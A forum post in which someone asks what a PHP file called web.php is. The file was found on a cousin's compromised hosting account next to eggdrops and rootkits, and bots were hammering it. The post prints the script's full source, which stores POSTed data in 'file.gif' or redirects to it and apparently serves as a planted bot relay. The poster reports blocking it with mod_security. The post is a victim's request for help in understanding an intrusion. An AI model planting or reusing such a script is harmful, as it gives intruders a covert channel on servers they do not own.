strange script?? :s

A cousin of mine is having some problems with is accounts. Nasty scripts are appearing, such as eggdrops and rootkits. I also found this script on one of his accounts:

Code: 
<?
	error_reporting(E_USER_ERROR | E_USER_WARNING);

  $outgif = "file.gif";

	$ffp = 0;

	function enter()
	{
		global $ffp;
		while (1)
		{
			while (file_exists("tmp1.tmp")) usleep(100);
	  		$ffp = fopen("tmp1.tmp", "x");
	  		if ($ffp) return;
	  		usleep(100);
	  	}

	}

	function leave()
	{
		global	$ffp;
		fclose($ffp);
		unlink("tmp1.tmp");
	}

	function safeexit()
	{
		leave();
		exit(0);
	}

  $v=$_POST["a"];
  $b=$_POST["b"];

  enter();

  if ($b == "b")
  {
    $fp=fopen($outgif, "wb");
    fwrite($fp, stripslashes($v));
    fclose($fp);
  } else 
  {
    header("Location: $outgif");
  }

  leave();
?>
It's called "web.php" and was located in a folder "webadm". The strange thing is: I received a DDoS attack, alot of bots were trying to reach that file. So I blocked it using mod_security.

Does anyone have an idea what kind of strange script this is? Some kind of script to kill the server or something?

Thanks!

 

 

 

 

Top